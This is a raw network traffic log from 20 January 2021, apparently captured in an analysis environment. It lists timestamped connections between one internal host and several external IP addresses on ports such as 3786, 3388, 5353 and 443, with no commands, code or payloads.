Jan 20, 2021 16:15:17.671633959 CET	49258	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:17.711441040 CET	3786	49258	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:17.788850069 CET	3388	49262	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:17.795386076 CET	3388	49262	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:17.795424938 CET	3388	49262	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:17.795473099 CET	49262	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:17.796343088 CET	49262	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:17.797847033 CET	5353	49259	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:17.797910929 CET	49259	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:17.802355051 CET	49262	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:17.807362080 CET	49259	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:17.807465076 CET	49259	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:17.810909033 CET	3388	49261	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:17.810940027 CET	3388	49261	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:17.810995102 CET	49261	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:17.855026960 CET	3786	49258	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:17.895390034 CET	49257	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:17.895576954 CET	49257	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:17.971908092 CET	3388	49262	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:17.972358942 CET	3388	49262	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:17.972426891 CET	49262	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:17.976253986 CET	443	49260	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:17.976280928 CET	443	49260	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:17.976428986 CET	49260	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:17.976459980 CET	49260	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:17.979532003 CET	49260	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:17.980036020 CET	3388	49261	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:17.980056047 CET	3388	49261	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:17.984376907 CET	49262	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:17.984850883 CET	49262	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:18.022949934 CET	443	49257	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:18.023127079 CET	49257	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:18.063584089 CET	443	49257	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:18.099234104 CET	49263	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:18.099365950 CET	5353	49259	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:18.099540949 CET	49259	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:18.107372046 CET	443	49260	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:18.150882006 CET	443	49257	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:18.151139975 CET	443	49257	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:18.153850079 CET	3388	49262	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:18.154946089 CET	3388	49262	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:18.155080080 CET	49262	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:18.220206022 CET	3786	49258	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:18.220237970 CET	3786	49258	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:18.220364094 CET	49258	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:18.223805904 CET	49258	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:18.296946049 CET	3388	49261	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:18.296988010 CET	3388	49261	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:18.297065973 CET	49261	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:18.300787926 CET	49261	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:18.324837923 CET	3388	49262	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:18.340970039 CET	49264	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:18.392735004 CET	5353	49259	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:18.392838001 CET	5353	49263	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:18.392910957 CET	49263	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:18.393487930 CET	49263	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:18.405160904 CET	443	49257	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:18.405189037 CET	443	49257	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:18.405297041 CET	49257	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:18.406527996 CET	3786	49258	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:18.412391901 CET	49257	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:18.468894005 CET	443	49264	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:18.469093084 CET	49264	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:18.469789982 CET	3388	49261	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:18.469938040 CET	49264	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:18.483187914 CET	49265	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:18.539632082 CET	443	49257	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:18.594599962 CET	49266	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:18.597512007 CET	443	49264	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:18.619196892 CET	443	49264	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:18.619225025 CET	443	49264	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:18.619369984 CET	49264	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:18.628034115 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:15:18.628072023 CET	49169	80	192.168.2.22	85.17.252.207
Jan 20, 2021 16:15:18.628736973 CET	49264	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:18.647670031 CET	3388	49262	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:18.647706032 CET	3388	49262	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:18.647785902 CET	49262	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:18.651309013 CET	49262	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:18.668046951 CET	3786	49265	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:18.668389082 CET	49265	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:18.670900106 CET	49265	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:18.687895060 CET	5353	49263	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:18.697855949 CET	5353	49263	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:18.697882891 CET	5353	49263	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:18.697947025 CET	49263	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:18.708000898 CET	49263	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:18.763526917 CET	49267	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:18.763659954 CET	443	49264	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:18.763770103 CET	49264	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:18.770767927 CET	49264	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:18.771114111 CET	49264	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:18.821017981 CET	3388	49262	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:18.853586912 CET	3786	49265	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:18.886070013 CET	5353	49266	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:18.886215925 CET	49266	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:18.887994051 CET	49266	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:18.899014950 CET	3786	49265	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:18.899049044 CET	3786	49265	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:18.899070978 CET	443	49264	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:18.899147034 CET	49265	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:18.900913954 CET	49264	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:18.907624006 CET	49265	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:18.939960957 CET	443	49264	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:18.946803093 CET	3786	49267	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:18.947016954 CET	49267	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:18.948920965 CET	49267	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:18.983326912 CET	5353	49259	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:18.983376980 CET	5353	49259	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:18.983513117 CET	49259	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:18.989247084 CET	49259	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:19.004884958 CET	5353	49263	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:19.005053043 CET	49263	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:19.014219999 CET	49263	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:19.014404058 CET	49263	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:19.028300047 CET	443	49264	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:19.028338909 CET	443	49264	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:19.093247890 CET	3786	49265	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:19.099869967 CET	3786	49265	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:19.100888014 CET	49265	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:19.101363897 CET	49268	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:19.118676901 CET	49265	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:19.118762016 CET	49265	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:19.131974936 CET	3786	49267	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:19.175457001 CET	3786	49267	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:19.175493002 CET	3786	49267	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:19.175576925 CET	49267	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:19.179167986 CET	5353	49266	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:19.181108952 CET	49267	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:19.189337969 CET	5353	49266	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:19.189361095 CET	5353	49266	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:19.189404964 CET	49266	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:19.189435005 CET	49266	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:19.195909977 CET	49266	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:19.270581007 CET	3388	49268	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:19.270773888 CET	49268	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:19.272104025 CET	49268	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:19.282243967 CET	5353	49259	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:19.283550024 CET	443	49264	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:19.283574104 CET	443	49264	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:19.283744097 CET	49264	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:19.290185928 CET	49264	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:19.301443100 CET	3786	49265	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:19.301601887 CET	49265	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:19.308965921 CET	5353	49263	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:19.309128046 CET	49263	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:19.341412067 CET	3786	49265	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:19.348190069 CET	5353	49263	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:19.365139008 CET	3786	49267	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:19.378570080 CET	3786	49267	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:19.378721952 CET	49267	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:19.385202885 CET	49267	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:19.385370970 CET	49267	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:19.407334089 CET	49269	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:19.417911053 CET	443	49264	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:19.440901995 CET	3388	49268	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:19.447645903 CET	3388	49268	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:19.447674990 CET	3388	49268	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:19.447731018 CET	49268	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:19.448319912 CET	49268	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:19.456877947 CET	49268	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:19.484389067 CET	3786	49265	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:19.484431982 CET	3786	49265	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:19.491106033 CET	5353	49266	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:19.491219997 CET	49266	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:19.508532047 CET	49266	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:19.508900881 CET	49266	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:19.568728924 CET	3786	49267	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:19.568865061 CET	49267	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:19.601864100 CET	5353	49263	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:19.607768059 CET	3786	49267	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:19.625735998 CET	3388	49268	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:19.626276016 CET	3388	49268	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:19.626396894 CET	49268	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:19.650830030 CET	49268	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:19.651108980 CET	49268	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:19.697377920 CET	5353	49269	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:19.697576046 CET	49269	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:19.698853016 CET	49269	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:19.751952887 CET	3786	49267	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:19.751980066 CET	3786	49267	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:19.800478935 CET	5353	49266	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:19.800827026 CET	49266	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:19.819789886 CET	3388	49268	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:19.819818020 CET	3388	49268	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:19.820044041 CET	49268	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:19.843862057 CET	3786	49265	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:19.843916893 CET	3786	49265	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:19.844857931 CET	49265	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:19.850141048 CET	49265	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:19.964720964 CET	49270	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:19.988431931 CET	5353	49269	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:19.988900900 CET	3388	49268	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:19.998559952 CET	5353	49269	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:19.998610020 CET	5353	49269	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:19.998728037 CET	49269	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:20.011272907 CET	49269	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:20.035608053 CET	3786	49265	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:20.092626095 CET	443	49270	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:20.092730999 CET	5353	49266	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:20.092767954 CET	5353	49266	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:20.092798948 CET	49270	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:20.094670057 CET	49270	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:20.117810011 CET	3786	49267	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:20.117855072 CET	3786	49267	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:20.118001938 CET	49267	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:20.118057013 CET	49267	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:20.123728991 CET	49267	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:20.191155910 CET	5353	49263	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:20.191201925 CET	5353	49263	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:20.191390038 CET	49263	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:20.193572044 CET	49263	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:20.222080946 CET	443	49270	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:20.243889093 CET	443	49270	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:20.243985891 CET	49270	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:20.244010925 CET	443	49270	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:20.244045019 CET	49271	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:20.244170904 CET	49270	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:20.251893044 CET	49270	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:20.304131031 CET	5353	49269	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:20.304183960 CET	49269	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:20.304966927 CET	3388	49268	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:20.304987907 CET	3388	49268	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:20.305016994 CET	49268	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:20.305043936 CET	49268	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:20.306329012 CET	49272	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:20.306749105 CET	3786	49267	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:20.312674046 CET	49269	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:20.312779903 CET	49269	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:20.313533068 CET	49268	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:20.371408939 CET	443	49271	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:20.371515036 CET	49271	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:20.372178078 CET	49271	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:20.390202999 CET	443	49270	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:20.390280962 CET	49270	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:20.395793915 CET	49270	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:20.396003008 CET	49270	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:20.428591967 CET	49273	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:20.475064039 CET	3388	49272	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:20.475152016 CET	49272	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:20.475863934 CET	49272	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:20.482147932 CET	3388	49268	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:20.486620903 CET	5353	49263	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:20.500598907 CET	443	49271	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:20.521085978 CET	443	49271	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:20.521107912 CET	443	49271	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:20.521215916 CET	49271	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:20.528601885 CET	443	49270	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:20.528799057 CET	49270	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:20.530733109 CET	49271	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:20.569607019 CET	443	49270	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:20.602076054 CET	5353	49269	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:20.602243900 CET	49269	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:20.611414909 CET	3786	49273	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:20.611639977 CET	49273	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:20.612417936 CET	49273	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:20.641637087 CET	5353	49269	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:20.644742966 CET	3388	49272	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:20.651638031 CET	3388	49272	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:20.651660919 CET	3388	49272	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:20.651737928 CET	49272	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:20.656347036 CET	443	49270	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:20.656531096 CET	443	49270	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:20.666178942 CET	443	49271	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:20.666304111 CET	49271	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:20.667187929 CET	49272	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:20.674463034 CET	49271	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:20.674536943 CET	49271	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:20.683305025 CET	5353	49266	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:20.683336020 CET	5353	49266	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:20.683545113 CET	49266	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:20.689918041 CET	49266	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:20.795401096 CET	3786	49273	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:20.801990032 CET	443	49271	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:20.802190065 CET	49271	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:20.811846972 CET	3786	49273	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:20.811892033 CET	3786	49273	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:20.811975002 CET	49273	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:20.813361883 CET	49273	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:20.824265003 CET	49273	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:20.836100101 CET	3388	49272	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:20.836524010 CET	3388	49272	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:20.836606979 CET	49272	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:20.841700077 CET	443	49271	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:20.842099905 CET	49272	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:20.842300892 CET	49272	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:20.872369051 CET	49274	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:20.891839981 CET	5353	49269	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:20.911508083 CET	443	49270	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:20.911537886 CET	443	49270	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:20.911576033 CET	49270	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:20.911611080 CET	49270	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:20.914774895 CET	49270	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:20.929975033 CET	443	49271	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:20.930016041 CET	443	49271	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:20.981652021 CET	5353	49266	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:21.011359930 CET	3388	49272	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:21.011405945 CET	3388	49272	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:21.011423111 CET	3388	49272	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:21.011498928 CET	49272	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:21.018263102 CET	3786	49273	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:21.018404961 CET	49273	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:21.025583029 CET	49275	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:21.028085947 CET	49273	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:21.028206110 CET	49273	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:21.042308092 CET	443	49270	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:21.042973995 CET	3388	49274	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:21.043097019 CET	49274	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:21.044334888 CET	49274	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:21.180474997 CET	3388	49272	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:21.180512905 CET	3388	49272	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:21.185033083 CET	443	49271	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:21.185060024 CET	443	49271	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:21.185312033 CET	49271	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:21.191229105 CET	49271	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:21.211245060 CET	3786	49273	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:21.212524891 CET	49273	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:21.213133097 CET	3388	49274	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:21.220119953 CET	3388	49274	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:21.220149994 CET	3388	49274	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:21.220274925 CET	49274	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:21.227519989 CET	49274	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:21.250406027 CET	3786	49273	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:21.314623117 CET	5353	49275	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:21.314779043 CET	49275	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:21.316392899 CET	49275	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:21.318900108 CET	443	49271	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:21.319016933 CET	49276	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:21.395282984 CET	3786	49273	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:21.400475025 CET	3388	49274	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:21.401122093 CET	3388	49274	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:21.401294947 CET	49274	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:21.416496992 CET	49274	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:21.417007923 CET	49274	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:21.475949049 CET	5353	49269	211.110.44.63	192.168.2.22
